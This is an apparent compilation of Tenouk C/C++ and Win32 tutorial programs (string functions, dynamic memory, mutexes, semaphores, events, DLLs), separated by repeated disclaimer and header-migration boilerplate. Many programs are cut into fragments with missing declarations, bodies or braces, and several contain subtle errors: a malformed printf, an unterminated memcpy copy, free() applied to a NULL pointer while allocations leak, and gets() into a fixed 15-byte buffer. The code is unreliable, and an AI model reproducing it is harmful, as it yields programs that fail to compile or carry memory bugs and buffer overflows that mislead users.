using namespace std;
int main()
{
char *string1 = "A zoo has many animals including birds";
int c = 'm';
------------------------------------G++--------------------------------------------------------------------
//*****ctystring.cpp******
//Using sprintf()
#include <cstdio>
using namespace std;
int main()
{
char s[80];
int x;
float y;
printf("Using sprint()\n");
printf("--------------\n");
printf("Enter an integer and a float, separated by space: \n");
scanf("%d%f", &x, &y);
sprintf(s, "Integer:%6d\nFloat:%8.2f", x, y);
printf("\n%s\n%s\n",
"The formatted output stored in array s is: ", s);
return 0;
}
-------------------------------------GCc-------------------------------------------------------------------
int main()
{
char s1[20], s2[] = "Copying this string into s1";
memcpy(s1, s2, 17);
printf(" Using memcpy()\n");
printf(" --------------\n");
printf("s1[20] = ?\n", s1);
printf("s2[] = %s\n", s2);
printf("\nAfter s2 is copied into s1 with memcpy(),\n");
printf("using memcpy(s1, s2, 17)\n");
printf("\ns1 contains \"%s\"\n", s1);
return 0;
}
-------------------------------------Gcc-------------------------------------------------------------------
/*******************cstr.c**************************/
/*Using functions isdigit(), isalpha(), isalnum(), and isxdigit()*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
int main()
{
printf("Using functions isdigit(), isalpha(),\n");
printf("isalnum(), and isxdigit()\n");
printf("-------------------------------------\n");
printf("\nAccording to isdigit():\n");
isdigit('7') ? printf("7 is a digit\n") : printf("7 is not a digit\n");
isdigit('$') ? printf("$ is a digit\n") : printf("$ is not a digit\n");
printf("\nAccording to isalpha():\n");
isalpha('B') ? printf("B is a letter\n") : printf("B is not a letter\n");
isalpha('b') ? printf("b is a letter\n") : printf("b is not a letter\n");
isalpha('&') ? printf("& is a letter\n") : printf("& is not a letter\n");
isalpha('4') ? printf("4 is a letter\n") : printf("4 is not a letter\n");
printf("\nAccording to isalnum():\n");
isalnum('A') ? printf("A is a digit or a letter\n") : printf("A is not a digit or a letter\n");
isalnum('8') ? printf("8 is a digit or a letter\n") : printf("8 is not a digit or a letter\n");
isalnum('#') ? printf("# is a digit or a letter\n") : printf("# is not a digit or a letter\n");
printf("\nAccording to isxdigit():\n");
isxdigit('F') ? printf("F is a hexadecimal\n") : printf("F is not a hexadecimal\n");
isxdigit('J') ? printf("J is a hexadecimal\n") : printf("J is not a hexadecimal\n");
isxdigit('7') ? printf("7 is a hexadecimal\n") : printf("7 is not a hexadecimal\n");
isxdigit('$') ? printf("$ is a hexadecimal\n") : printf("$ is not a hexadecimal\n");
isxdigit('f') ? printf("f is a hexadecimal\n") : printf("f is not a hexadecimal\n");
return 0;
}
============================MODULEY=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
==========================ONLY C Codes HERE==============================
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
//Function prototypes...
int getline(char line[], int max);
int strindex(char source[], char searchfor[]);
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------
//searchpattern.cpp
//compiled using VC++ .Net and Borland C++ 5.02
return 0;
}
--------------------------------------------GCC------------------------------------------------------
/***************cmdline.c****************/
/***********Run on FeDorA 3 Machine********/
#include <stdio.h>
/*For C++ compiler, comment out the above #include <stdio.h>*/
/*and uncomment the following.*/
/*include <cstdio>*/
/*using namespace std;*/
============================MODULEZ========================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=======================JUST C Codes HERE=================================
void funct1(void);
void funct2(void);
int main()
{
printf("\n****storage classes and scope****\n");
/*external variable*/
globvar = 20;
void funct1(void)
{
/*auto variable, scope local to funct1() and funct1()
cannot access the external globvar*/
char globvar;
void funct2(void)
{
/*auto variable, scope local to funct2(), and funct2()
cannot access the external globvar2*/
double globvar2;
/*external variable*/
globvar = 50;
/*auto local variable to funct2()*/
globvar2 = 1.234;
printf("\nIn funct2(), globvar = %d and globvar2 = %.4f\n", globvar, globvar2);
}
--------------------------------------------------------------------------------------------
void sum_up(void);
int main()
{
int count;
printf("\n*****static storage*****\n");
printf("Key in 3 numbers to be summed ");
for(count = 0; count < MAXNUM; count++)
sum_up();
printf("\n*****COMPLETED*****\n");
return 0;
}
void sum_up(void)
{
/*At compile time, sum is initialized to 0*/
static int sum = 0;
int num;
--------------------------------------------------------------------------------------------
#include <stdio.h>
int a();
int b();
int c();
int a()
{
b();
c();
return 0;
}
int b()
{
return 0;
}
int c()
{
return 0;
}
int main()
{
a();
return 0;
}
--------------------------------------------------------------------------------------------
void main()
{
int x;
int *y;
/*do 100000 times iteration, 100000 blocks*/
for(x=0; x<100000; x++)
{
/*For every iteration/block, allocate 16K,
system will truncate to the nearest value*/
y = (int *)malloc(16384);
/*If no more memory*/
if(y == NULL)
{
puts("No more memory lol!");
/*exit peacefully*/
exit(0);
}
/*Allocate the memory block, print the block and the address*/
printf("Allocating-->block: %i address: %p\n", x, y);
}
/*Here, we do not free up the allocation*/
}
--------------------------------------------------------------------------------------------
void main()
{
int x;
int *y;
int *buffer = NULL;
/*do 100 times iteration, 100 blocks*/
for(x=0; x<100; x++)
{
/*For every iteration/block, allocate 16K,
system will truncate to the nearest value*/
y = (int *)malloc(16384);
/*If there is a problem*/
if(y == NULL)
{
puts("No more memory for allocation lol!");
/*exit peacefully*/
exit(0);
}
/*Allocate the memory block, print the block and the address*/
printf("Allocating-->block: %i address: %p\n", x, y);
printf("---->Freeing the memory block: %i address: %p\n", x, y);
free((void *)buffer);
}
}
--------------------------------------------------------------------------------------------
struct record{
char name[15];
int age;
int id_num;
};
int main()
{
struct record *ptr;
printf("\n--malloc() & struct--\n");
ptr = (struct record *)malloc((sizeof(struct record)));
if(ptr)
{
printf("\nStudent Name: ");
gets(ptr->name);
printf("Student Age: ");
scanf("%d", &ptr->age);
printf("Student Id: ");
scanf("%d", &ptr->id_num);
printf("\nStudent Name: %s", ptr->name);
printf("\nStudent Age: %d", ptr->age);
printf("\nStudent Id Number: %d\n", ptr->id_num);
free(ptr);
}
else
printf("\nMemory allocation fails!!!\n");
return 0;
}
--------------------------------------------------------------------------------------------
#define END 10
int main()
{
int *ptr1, *ptr2, *ptr3;
int i;
{
fprintf(stderr, "malloc() failed!\n");
/*exit with an error message*/
exit(1);
}
printf("---Using calloc()---\n");
printf("Array pointed by ptr2:\n");
for(i = 0; i < END; i++)
{
printf("%3d ", ptr2[i]);
}
printf("\n\n");
return 0;
}
--------------------------------------------------------------------------------------------
/*a struct*/
typedef struct book_type
{
int id;
char name[20];
float price;
}book;
int main(void)
{
int *aPtr = NULL, *bPtr = NULL, m = 0;
char *str = NULL;
book *bookPtr = NULL;
/*other way*/
/*get the number of elements from the user and then allocate*/
printf("\nEnter the size of integer array (bytes): ");
scanf("%d", &m);
bPtr = (int *)calloc(m, sizeof(int));
if(bPtr == NULL)
{
printf("calloc for int fails lol!\n");
exit (0);
}
else
printf("memory allocation for int through calloc() is OK\n");
free(bPtr);
return 0;
}
--------------------------------------------------------------------------------------------
#define INITIAL_SIZE 5;
int main()
{
int *Arr, *temp;
int limit, input, n = 0, r, i;
/*array loop*/
printf("Enter numbers, 1 per line. End with ctrl-D\n");
while(1)
{
printf("Next number: ");
r = scanf("%d", &input);
fflush(stdin);
else
printf("realloc is OK lol, proceed your input...\n");
Arr = temp;
}
Arr[n] = input;
n++;
}
Arr = temp;
-----------------------------------------GCC---------------------------------------------------
/*a struct*/
typedef struct book_type
{
int id;
char name[20];
float price;
}book;
int main(void)
{
int *aPtr = NULL, *bPtr = NULL, m = 0;
char *str = NULL;
book *bookPtr = NULL;
/*other way*/
/*get the number of elements from the user and then allocate*/
printf("\nEnter the size of integer array (bytes): ");
scanf("%d", &m);
bPtr = (int *)calloc(m, sizeof(int));
if(bPtr == NULL)
{
printf("calloc for int fails lol!\n");
exit (0);
}
else
printf("memory allocation for int through calloc() is OK\n");
free(bPtr);
return 0;
}
--------------------------------------------------------------------------------------------
/****************malalloc.c***************************/
/************run on FeDora 3 Machine*********************/
/*Playing with malloc() and free(), memory on the heap*/
#include <stdio.h>
#include <stdlib.h>
int main()
{
int x;
int *y;
int *buffer = NULL;
/*do 100 times iteration, 100 blocks*/
for(x=0; x<100; x++)
{
/*For every iteration/block, allocate 16K,
system will truncate to the nearest value*/
y = (int *)malloc(16384);
/*If there is a problem*/
if(y == NULL)
{
puts("No more memory for allocation lol!");
/*exit peacefully*/
exit(0);
}
else
{
/*Allocate the memory block, print the block and the address*/
printf("Allocating-->block: %i address: %p\n", x, y);
free((void *)buffer);
printf("---->Freeing the memory block: %i address: %p\n", x, y);
}
}
return 0;
}
============================MODULEAA=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
// One process creates the mutex object.
HANDLE hMutex;
char * MName = "MyMutex";
hMutex = CreateMutex(
NULL, // no security descriptor
FALSE, // mutex not owned
MName); // object name
if (hMutex == NULL)
printf("CreateMutex(): error: %d.\n", GetLastError());
else
{
if (GetLastError() == ERROR_ALREADY_EXISTS)
printf("CreateMutex(): opened existing %s mutex.\n", MName);
else
printf("CreateMutex(): new %s mutex successfully created.\n", MName);
}
return 0;
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
HANDLE hMutex1;
hMutex1 = OpenMutex(
MUTEX_ALL_ACCESS, // request full access
FALSE, // handle not inheritable
MName); // object name
if (hMutex1 == NULL)
printf("OpenMutex(): error: %d.\n", GetLastError());
else
printf("OpenMutex(): %s mutex opened successfully.\n", MName);
return 0;
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
// One process creates the mutex object.
HANDLE hMutex;
char * MName = "MyMutex";
hMutex = CreateMutex(
NULL, // no security descriptor
FALSE, // mutex not owned
MName); // object name
if (hMutex == NULL)
printf("CreateMutex(): error: %d.\n", GetLastError());
else
{
if (GetLastError() == ERROR_ALREADY_EXISTS)
printf("CreateMutex(): opened existing %s mutex.\n", MName);
else
printf("CreateMutex(): new %s mutex successfully created.\n", MName);
}
//=================================================================
HANDLE hMutex1;
hMutex1 = OpenMutex(
MUTEX_ALL_ACCESS, // request full access
FALSE, // handle not inheritable
MName); // object name
if (hMutex1 == NULL)
printf("OpenMutex(): error: %d.\n", GetLastError());
else
printf("OpenMutex(): %s mutex opened successfully.\n", MName);
return 0;
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
LPSECURITY_ATTRIBUTES lpsa = NULL;
LONG cInitial = 0;
LONG cMax = 10;
LPTSTR lpszName = "MySemaphore";
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
HANDLE hEvents[2];
DWORD i, dwEvent;
if (hEvents[i] == NULL)
{
printf("CreateEvent() error: %d\n", GetLastError());
ExitProcess(0);
}
else
printf("CreateEvent() for event #%d is OK.\n", i);
}
ExitProcess(0);
}
return 0;
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
if (dwChangeHandles[0] == INVALID_HANDLE_VALUE)
ExitProcess(GetLastError());
else
printf("FindFirstChangeNotification() for file change is OK.\n");
if (dwChangeHandles[1] == INVALID_HANDLE_VALUE)
ExitProcess(GetLastError());
else
printf("FindFirstChangeNotification() for directory change is OK.\n");
// Again...some messages
if (dwChangeHandles[0] != INVALID_HANDLE_VALUE && dwChangeHandles[1] != INVALID_HANDLE_VALUE)
{
printf("\nI'm monitoring any file deletion/creation in %s and\n", DirName);
printf("I'm monitoring any directory deletion/creation in %s.\n", DirName1);
}
switch (dwWaitStatus)
{
case 0: // WAIT_OBJECT_0
// A file was created or deleted in F:\myproject.
// Refresh this directory and restart the change notification.
// May call application define function here...
if (FindNextChangeNotification(dwChangeHandles[0]) == FALSE)
ExitProcess(GetLastError());
else
printf("File created/deleted in %s.\n", DirName);
break;
case 1: // WAIT_OBJECT_0 + 1
default:
printf("FindNextChangeNotification(): Invalid return value.\n");
ExitProcess(GetLastError());
}
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
HANDLE hMutex;
if (hMutex == NULL)
{
// Check for error...
printf("CreateMutex() failed, error: %d.\n", GetLastError());
}
else
printf("CreateMutex() is OK.\n");
return 0;
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
switch (dwWaitResult)
{
// The thread got the mutex ownership...
case WAIT_OBJECT_0:
// Simple structured exception handling...
__try {
printf("the mutex is signaled.\n");
// TODO: Write some data...
}
__finally {
// Release the ownership of the mutex object.
if (!ReleaseMutex(hMutex))
{
// Deal with error.
printf("ReleaseMutex() failed.\n");
ExitProcess(0);
}
break;
}
//===========================================================
int main()
{
HANDLE hMutex;
if (hMutex == NULL)
{
// Check for error...
printf("CreateMutex() failed, error: %d.\n", GetLastError());
}
else
printf("CreateMutex() is OK.\n");
return 0;
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
HANDLE hSemaphore;
LONG cMax = 15;
if (hSemaphore == NULL)
{
printf("CreateSemaphore() failed, error: %d.\n", GetLastError());
// Check for error...
}
else
printf("CreateSemaphore() is OK.\n");
return 0;
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
int main()
{
HANDLE hSemaphore;
LONG cMax = 10;
LONG cPreviousCount = 0;
if (hSemaphore == NULL)
{
// Check for error.
printf("CreateSemaphore() failed error: %d.\n", GetLastError());
}
else
printf("CreateSemaphore() is OK.\n");
//==================================================================
DWORD dwWaitResult;
switch (dwWaitResult)
{
// The semaphore object was signaled.
case WAIT_OBJECT_0:
printf("The semaphore was signaled, do other task...\n");
// OK to open another window...
break;
case WAIT_ABANDONED:
printf("The semaphore was non-signaled, just exit.\n");
// Cannot open another window...
break;
//==================================================================
return 0;
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define NUMTHREADS 4
HANDLE hGlobalWriteEvent;
dwWaitResult = WaitForMultipleObjects(
2, // number of handles in array
hEvents, // array of event handles
TRUE, // wait till all are signaled
INFINITE); // indefinite wait
printf("\nIn ThreadFunction()...\n");
switch (dwWaitResult)
{
// Both event objects were signaled.
case WAIT_OBJECT_0:
printf("Both event objects were signaled.\n");
// Read from the shared buffer...
break;
// An error occurred.
default:
printf("Wait error: %d\n", GetLastError());
ExitThread(0);
}
//===============================================================
void WriteToBuffer(void)
{
DWORD dwWaitResult, i;
printf("\nIn WriteToBuffer()...\n");
// Reset hGlobalWriteEvent to non-signaled, to block readers...
if (!ResetEvent(hGlobalWriteEvent))
{
printf("ResetEvent(hGlobalWriteEvent) failed.\n");
// Error exit.
}
else
printf("ResetEvent(hGlobalWriteEvent) is OK.\n");
switch (dwWaitResult)
{
// All read-event objects were signaled...
case WAIT_OBJECT_0:
printf("All read-event objects were signaled.\n");
// Write to the shared buffer...
break;
// An error occurred...
default:
printf("Wait error: %d\n", GetLastError());
ExitProcess(0);
}
//===============================================================
void CreateEventsAndThreads(void)
{
// Create a manual-reset event object. The master thread sets
// this to non-signaled when it writes to the shared buffer...
printf("In CreateEventsAndThreads()...\n");
hGlobalWriteEvent = CreateEvent(
NULL, // no security attributes
TRUE, // manual-reset event
TRUE, // initial state is signaled
"MasterThWriteEvent" // object name
);
if (hGlobalWriteEvent == NULL)
{
printf("CreateEvent() failed, error: %d.\n", GetLastError());
// error exit...
}
else
printf("CreateEvent(), master thread with manual reset is OK.\n\n");
if (hReadEvents[i] == NULL)
{
printf("CreateEvent() failed.\n");
// Error exit.
}
else
printf("CreateEvent() #%d is OK.\n", i);
hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE) ThreadFunction,
&hReadEvents[i], // pass event handle
0, &IDThread);
if (hThread == NULL)
{
// Error exit.
printf("CreateThread() failed, error: %d.\n", GetLastError());
}
else
printf("CreateThread() #%d is OK.\n\n", i);
}
}
int main()
{
CreateEventsAndThreads();
WriteToBuffer();
return 0;
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
// Global variable
CRITICAL_SECTION CriticalSection;
int main()
{
// TODO: Other tasks...
printf("In main()...\n");
printf("InitializeCriticalSectionAndSpinCount() and after\n");
return 0;
}
----------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
HANDLE gDoneEvent;
SetEvent(gDoneEvent);
}
int main()
{
HANDLE hTimer = NULL;
HANDLE hTimerQueue = NULL;
int arg = 123;
hTimerQueue = CreateTimerQueue();
if (!hTimerQueue)
{
printf("CreateTimerQueue() failed, error: %d.\n", GetLastError());
//May just return/exit with error code...
return 2;
}
else
printf("CreateTimerQueue() is OK.\n");
return 0;
}
----------------------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#include <windows.h>
#include <stdio.h>
int main()
{
HANDLE hTimer = NULL;
LARGE_INTEGER liDueTime;
liDueTime.QuadPart=-100000000;
return 0;
}
----------------------------------------------------------------------------------------------
// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#include <malloc.h>
int main()
{
ULONG Count;
PSLIST_ENTRY FirstEntry, ListEntry;
SLIST_HEADER ListHead;
PPROGRAM_ITEM ProgramItem;
// Flush the list and verify that the items are gone.
ListEntry = InterlockedFlushSList(&ListHead);
FirstEntry = InterlockedPopEntrySList(&ListHead);
if (FirstEntry != NULL)
{
printf("InterlockedPopEntrySList() failed, error: List is not empty.");
}
else
printf("InterlockedPopEntrySList() is OK, list is empty.\n");
return 0;
}
============================MODULEBB======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================
#include <windows.h>
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
}
// Successful DLL_PROCESS_ATTACH.
return TRUE;
}
------------------------------------------------------------------------------------------------
if (INVALID_HANDLE_VALUE == hStdout)
{
// failed to get the handle, give some message, get error code, just exit...
printf("GetStdHandle(), invalid handle, error: GetLastError().\n");
return EOF;
}
else
printf("GetStdHandle(), standard handle is OK.\n");
-------------------------------------------------------------------------------------------------------
// File: mydllloadtime.cpp
// A simple program that uses mydll() from mydllpro.dll.
int main()
{
int Ret = 1;
-------------------------------------------------------------------------------------------------------
// File: testmydllruntime.cpp
// Using Run-Time Dynamic Linking
// A simple program that uses LoadLibrary() and
// GetProcAddress() to access mydll() in mydllpro.dll.
// For WinXp, don't forget to add
#define _WIN32_WINNT 0x0501
#include <stdio.h>
#include <windows.h>
int main()
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;
fFreeResult = FreeLibrary(hinstLib);
if (fFreeResult != 0)
printf("FreeLibrary() is OK.\n");
else
printf("FreeLibrary() is not OK, error: %d.\n", GetLastError());
}
else
printf("The dll handle is not valid, error: %d.\n", GetLastError());
return 0;
}
-------------------------------------------------------------------------------------------------------
switch (fdwReason)
{
// The DLL is loading due to process
// initialization or a call to LoadLibrary.
case DLL_PROCESS_ATTACH:
printf("The DLL is loading...from moredll.dll.\n");
// Create a named file mapping object.
hMapObject = CreateFileMapping(
INVALID_HANDLE_VALUE, // use paging file
NULL, // default security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32-bits
SHMEMSIZE, // size: low 32-bits
"dllmemfilemap"); // name of map object
if (hMapObject == NULL)
return FALSE;
else
printf("CreateFileMapping() is OK.\n");
if (lpvMem == NULL)
return FALSE;
else
printf("MapViewOfFile() is OK.\n");
default:
printf("Reason called not matched, error if any: %d... from moredll.dll.\n", GetLastError());
break;
}
return TRUE;
UNREFERENCED_PARAMETER(hinstDLL);
UNREFERENCED_PARAMETER(lpvReserved);
}
-------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <windows.h>
int main()
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;
// Get a handle to our DLL module, moredll.dll...this module has been copied
// to C:\WINDOWS\System32 directory...
hinstLib = LoadLibrary("moredll");
if (fFreeResult != 0)
printf("FreeLibrary() is OK.\n");
else
printf("FreeLibrary() is not OK.\n");
return 0;
}
----------------------------------------------------------------------------------------------------
switch (fdwReason)
{
// The DLL is loading due to process
// initialization or a call to LoadLibrary.
case DLL_PROCESS_ATTACH:
printf("Loading the DLL...\n");
// Allocate a TLS index.
if ((dwTlsIndex = TlsAlloc()) == 0xFFFFFFFF)
return FALSE;
// No break: Initialize the index for first thread.
default:
printf("Reason called not matched, error if any: %d...\n", GetLastError());
break;
}
return TRUE;
UNREFERENCED_PARAMETER(hinstDLL);
UNREFERENCED_PARAMETER(lpvReserved);
}
-----------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <windows.h>
int main()
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;
// Get a handle to our DLL module, moredll.dll...this module has been copied
// to C:\WINDOWS\System32 directory...
hinstLib = LoadLibrary("moredll");
if (fFreeResult != 0)
printf("FreeLibrary() is OK.\n");
else
printf("FreeLibrary() is not OK.\n");
return 0;
}
============================MODULEDD=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================
void main()
{
// Using 2-D array as a table...
// The name of a service to be run in this service process - "MyService",
// The function as the starting point for a service - MyServiceStart or
// a pointer to a ServiceMain() function...
// The members of the last entry in the table must have NULL values
// to designate the end of the table...
